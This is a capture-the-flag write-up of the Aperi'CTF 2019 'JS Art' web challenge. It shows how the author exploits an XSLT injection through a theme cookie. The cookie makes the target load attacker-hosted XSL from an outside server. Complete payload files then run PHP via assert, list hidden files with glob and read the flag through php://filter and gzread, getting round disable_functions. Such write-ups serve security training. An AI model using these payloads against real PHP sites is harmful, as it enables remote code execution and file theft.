Aperi’CTF 2019 - JS Art
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | JS Art | Web | 200 | 5 |
Vous auditez le site web d’une galerie d’art digital. L’administrateur entrepose ses dernières oeuvres (flag) dans un fichier/dossier caché aux utilisateurs. Investiguez et ramenez la dernière la dernière oeuvre.
Note: Inutile d’avoir un shell sur la machine.
TL;DR
There was an XSLT injection in the cookies used for the theme. Moreover, we had to bypass disable_functions using glob('.*')
and include('php://filter/read=convert.base64-encode/resource=.s3cr3t___FLAG/.Th3Fl4g.php')
.
Methodology
The website has a gallery, a contact form and a dark / light theme:
RCE
Looking at the website, we can focus on the contact form (empty param, array, fake email, …) but it has no real effect.
By switching from the dark theme to the light theme, we can see that a cookie “color” is set.
Let’s change its value to “x” and see what happen:
We got an error: DOMDocument::load(): I/O warning : failed to load external entity "/var/www/html/x.xsl"
. It looks like the website is loading $_COOKIE['color'].".xsl"
. Looking at the technology used (XSLT) we can imagine that the website is vulnerable to XSLT code execution ?
For this, we’ll create a simple phpinfo()
in an XSL file on a remote server. We can find more documentation on agarri’s website.
Here is our payload.xsl:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<!-- PHP Info (disable_functions) -->
<xsl:value-of select="php:function('phpinfo')"/>
</xsl:template>
</xsl:stylesheet>
Now upload your file to a remote server (for those who do not have remote server, you can use hook API such as beeceptor with custom response containing the xml).
Here my payload is available at https://zeecka.fr/payload.xsl.
Now set the cookie “color” to https://yoursite/payload
(note: ‘.xsl’ is already added by php). Here my cookie is https://zeecka.fr/payload
.
Now lets see the website with our new design:
We can execute code on the server !
Bypass disable_functions
If we look at the disable_functions
in phpinfo
we got a lot of disabled functions:
scandir,highlight_file,show_source,file_get_contents,readfile,opendir,readdir,closedir,eval,exec,system,shell_exec,popen,proc_open,passthru,preg_replace,preg_replace_callback,imap_open,imap_mail,mail,error_log,fpaththru,curl_exec,curl_multi_exec,diskfreespace,dl,getmypid,getmyuid,ignore_user_abord,leak,link,listen,mod_cgi,parse_ini_file,putenv,create_function,set_time_limit,source,tmpfile,virtual,mkdir,symlink,ini_set,unlink,php_uname,apache_setenv,fastcgi,com,env,papar,exp,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,posix,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,mod-cgi
As said, no need to have a shell, we just need to browse file on the system and read file. Let’s focus on the first one: how to list files in PHP ?
List files
The most used function to list files in php is scandir
however this one is disabled. readdir
is also disabled. By searching “php list file” on google, the function glob is mentioned (first page of google).
However, glob(’*’) return an Array and XSLT doesn’t allow 3 functions like a(b(c()))
. In other word, we can’t do print_r(glob('*'))
. We need to find a solution.
XSLT offers the <xsl:variable>
syntax to store data. Maybe we can store our payload and evaluate it ?
Here is our payload:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('*'))
</xsl:variable>
<xsl:value-of select="php:function('eval',$eval)"/>
</xsl:template>
</xsl:stylesheet>
However, eval
is disabled ! ( Warning: XSLTProcessor::transformToXml(): Unable to call handler eval() in /var/www/html/index.php on line 52
)
By looking at the different functions that evaluate code, we can keep the assert
function which is not disabled.
payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('*'))
</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
And now the output is:
Array (
[0] => art.png
[1] => arts.xml
[2] => dark.xsl
[3] => fonts
[4] => fullpage.js
[5] => index.php
[6] => light.xsl
[7] => mail.php
[8] => main.js
[9] => mainend.js
[10] => phone-icon.png
[11] => style.css
[12] => test.php
) true
If we browse each folders we cannot find any flag. After few test, we can notice that glob('*')
doesn’t display hidden folders (starting with a dot, ie. .ssh
). We need to force dot as first character: glob('.*')
.
payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('.*'))
</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
And now the output is:
Array (
[0] => .
[1] => ..
[2] => .s3cr3t___FLAG
) true
We have a secret folder ! Lets enumerate secret files in this folder.
payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('.s3cr3t___FLAG/.*'))
</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
And now the output is:
Array (
[0] => .s3cr3t___FLAG/.
[1] => .s3cr3t___FLAG/..
[2] => .s3cr3t___FLAG/.Th3Fl4g.php
) true
We have the path to our flag: .s3cr3t___FLAG/.Th3Fl4g.php
.
Read file
Now that we have the path to our flag, we need to display it. If we access to the website directly, we got no answer. The flag is hidden in a variable. We need to print the content of the flag.
Like in the first part of the challenge, a lot of functions are missing like readfile()
,file_get_content()
,show_source()
…
Solution 1 - Zeecka
The first solution is to use the include()
function with the base64 php wrapper php://filter/read=convert.base64-encode/resource=
:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">include('php://filter/read=convert.base64-encode/resource=.s3cr3t___FLAG/.Th3Fl4g.php');</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
We got answer PD9waHAKICAgICRTRUNSRVRfX0ZMQUdfXzk0NTY4NzIgPSAiQVBSS3tYU0xUX0RJUzRCTDNfQllQNFNTfSI7Cj8+Cg== true
.
echo -n "PD9waHAKICAgICRTRUNSRVRfX0ZMQUdfXzk0NTY4NzIgPSAiQVBSS3tYU0xUX0RJUzRCTDNfQllQNFNTfSI7Cj8+Cg==" | base64 -d
Output:
<?php
$SECRET__FLAG__9456872 = "APRK{XSLT_DIS4BL3_BYP4SS}";
?>
Solution 2 - DrStache
During our test, DrStache had an other solution using GZ compression:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">var_dump(gzread(gzopen('.s3cr3t___FLAG/.Th3Fl4g.php',"r"),10000));</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
Output (in view-source since php tag is interpreted as html tag):
<?php
$SECRET__FLAG__9456872 = "APRK{XSLT_DIS4BL3_BYP4SS}";
?>
Flag
APRK{XSLT_DIS4BL3_BYP4SS}